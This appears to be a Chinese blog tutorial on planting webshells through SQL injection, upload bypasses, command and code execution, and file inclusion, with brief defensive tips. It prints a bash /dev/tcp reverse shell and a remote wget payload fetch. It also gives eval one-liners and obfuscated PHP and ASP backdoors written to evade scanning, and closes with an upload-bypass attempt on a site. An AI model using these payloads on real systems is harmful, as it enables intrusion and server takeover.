為什么要入侵一個網(wǎng)站

我們?yōu)槭裁匆肭忠粋€網(wǎng)站

我覺得以我現(xiàn)在的水平無法回答這個問題。

但是我客觀的認(rèn)為,入侵一個網(wǎng)站最根本的原因是想拿到我們想要的數(shù)據(jù),
不管我們是站在的立場是什么。

什么是webshell

webshell就是以asp、php、jsp或者cgi等網(wǎng)頁文件形式存在的一種命令執(zhí)行環(huán)境,也可以將其稱做為一種網(wǎng)頁后門。黑客在入侵了一個網(wǎng)站后,通常會將asp或php后門文件與網(wǎng)站服務(wù)器WEB目錄下正常的網(wǎng)頁文件混在一起,然后就可以使用瀏覽器來訪問asp或者php后門,得到一個命令執(zhí)行環(huán)境,以達(dá)到控制網(wǎng)站服務(wù)器的目的。

1.webshell用于網(wǎng)站管理,服務(wù)器管理根據(jù)FSO權(quán)限的不同,作用有在線編輯網(wǎng)頁腳本、上傳下載文件、查看數(shù)據(jù)庫、執(zhí)行任意程序命令
2.另一方面,被入侵者利用,從而達(dá)到控制網(wǎng)站服務(wù)器的目的。這些網(wǎng)頁腳本常稱為WEB腳本木馬,比較流行的asp或php木馬,也有基于.NET的腳本木馬與JSP腳本木馬。

我們?nèi)绾纬晒Φ纳蟼饕粋€webshell

  • SQL注入(mysql,oracle,mssql,具有file權(quán)限)獲取webshell
    1.連接當(dāng)前Mysql數(shù)據(jù)庫的賬戶,具有File_priv權(quán)限
    2.知道網(wǎng)站的絕對路徑(通過php報錯信息,load_file,google搜索報錯信息,phpinfo.php)
    3.mysql有權(quán)限到網(wǎng)站的目錄下寫文件
    4.而且單引號不能被轉(zhuǎn)義
    5.可以通過爆出敏感信息,登錄后臺(配合網(wǎng)站后臺功能實現(xiàn)上傳webshell)
利用load_file('/etc/passwd')讀取文件
index.php?id=1 union select 1,2,3,'<?php phpinfo(); ?>' into
outfile '/var/www/html/phpinfo.php'
防御:
1.數(shù)據(jù)庫連接賬號不使用root權(quán)限
2.php報錯功能關(guān)閉
3.mysql賬戶沒有權(quán)限向網(wǎng)站目錄下寫文件
4.過濾單引號
  • 上傳漏洞獲取webshell
    1.利用網(wǎng)站編輯器(editor)存在版本漏洞
    2.網(wǎng)站編輯的上傳功能
測試上傳,
1.本地繞過(文件類型,MIME,文件內(nèi)容)
2.截斷上傳,/xx.php%00jsp,實現(xiàn)上傳木馬
3.上傳.htaccess目錄,控制解析的腳本。(利用jpg后綴的解析php文件)
4.繞過黑名單。

3.利用解析漏洞(查看web服務(wù)器,類型,版本)工具firebug,burp等。

有apache,nginx,IIS,php-cgi
防御:
1.使用服務(wù)端驗證
2.檢測文件類容
3.文件類容加載,和二次渲染。
  • 任意命令執(zhí)行
    條件:
    知道網(wǎng)站的絕對路徑,apache對網(wǎng)站目錄有寫文件的權(quán)限
    其實任意命令執(zhí)行漏洞,就相當(dāng)于webshell
    1.直接讀寫文件(寫一句話木馬)
index.php?command=echo "<?php phpinfo(); ?>" > /var/www/
html/phpinfo.php
index.php?command=wget -O /var/www/html/phpinfo.php
http://xxxx/phpinfo.txt

2.反彈shell到本地

1.bash -i >& /dev/tcp/10.0.0.1/8080 0>&1(linux環(huán)境下)
執(zhí)行遠(yuǎn)程Samba里面的二進(jìn)制文件
2.在windows7環(huán)境以下,
\\10.0.0.1\shell.exe   
windows8環(huán)境以后powershell
Powershell經(jīng)常通過注冊表,開始菜單,或者計劃任務(wù)來實現(xiàn)自啟動的目的,通常用sysinternals的autorun就能找到了。
另外C:\Users\\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1可以達(dá)到和
C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1一樣的效果。

防御:
過濾單個特殊符號,使用escapeshellarg和addslashes函數(shù)過濾。

  • 任意代碼執(zhí)行
    條件:apache對網(wǎng)站有可寫權(quán)限,執(zhí)行代碼獲取網(wǎng)站目錄
1.index.php?code=file_put_contents($_POST[f], $_POST[d]);
f=phpinfo.php&d=<?php phpinfo(); ?>
如果apache沒有對網(wǎng)站目錄有寫權(quán)限
index.php?code=eval($_POST[1]);直接寫入一句話。
  • 任意文件包含
    1.利用include和require函數(shù)包含上傳的文件或是圖片。
    2.包含日志文件,getshell
1.先讀取/etc配置文件獲取日志文件的路徑
2.然后使用curl請求服務(wù),在請求后面寫入一句話木馬
3.或是利用burp抓包,改包,將php代碼插入到get請求中,或是user-agent中。

3.遠(yuǎn)程包含一個有木馬的txt文件
防御:
過濾.(點)/(斜杠)\(反斜杠)
使用open_basedir配置限制訪問限制指定區(qū)域。

  • 網(wǎng)站后臺自帶的功能
    1.數(shù)據(jù)庫備份功能,數(shù)據(jù)庫恢復(fù)功能
    2.文件管理
    3.可以控制上傳功能

** 如何查殺webshell**

靜態(tài)查殺特征:
1.特殊敏感字符eval,file_put_contents(),include()。等等函數(shù)
2.phpinfo,system,php_uname,chmod,fopen,flclose,readfile,edoced_46esab常見的特征
3.利用編碼

<?php
@$_++;
$__=(“#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
@${$__}[!$_](${$__}[$_]);?>
<?
@$_POST[0]($_POST[1])
<?
@eval($_POST[1])
來實現(xiàn)免查殺

4.使用調(diào)回函數(shù)callback

<?php
function funfunc($str){}
echo preg_replace("/<title>(.+?)<\/title>/ies",'funfunc("\1")',
$_POST["cmd"]);
?>
cmd=<title>{${phpinfo()}}</tile>

5.利用include函數(shù)在腳本文件中加載一個


    include_path = “E:\PHPnow-1.5.6\htdocs;”

這個配置信息表示加載頁眉頁腳的文集位置,path規(guī)則是”\path1;\path2″,表示將path1路徑的
文件夾下的頁眉頁腳文件添加到path中的文件中去,因為這里是一個‘.’表示根路徑,
這里就相當(dāng)于添加到了主頁上面去了,然后hehe.asp文件里面寫上一句話,
就可以通過php添加頁眉的共能,將一句話寫入網(wǎng)站首頁。

6.拆分法(asp)
將<%eval request(“x”)%>拆分為<%Y=request(“x”)%><%eval(Y)%>,雖然繞過的可能性很小,但是也是一種繞過手法,也許有的服務(wù)器,做了很多高大上的掃描方式,但是遺漏小的問題。
還有拆分法加強(qiáng)版:

<%IfRequest("MH")<>"" Then Execute(Request("MH"))%>
<%if request("MH")<>""thensession("MH")=request("MH"):end if:ifsession("MH")<>"" then executesession("MH")%>

實例

找到網(wǎng)站后臺,弱密碼登錄。
利用網(wǎng)站特有功能,創(chuàng)建文件夾,和文件上傳功能。


然后上傳一個php文件發(fā)現(xiàn)不允許上傳。

![]J$8C4.png](http://upload-images.jianshu.io/upload_images/2495234-2a1a151552b6d3fe.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

通過本地抓包,修改文件后綴。


成功上傳php代碼。


不幸的是,他有waf,現(xiàn)在的水平只能望而興嘆。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容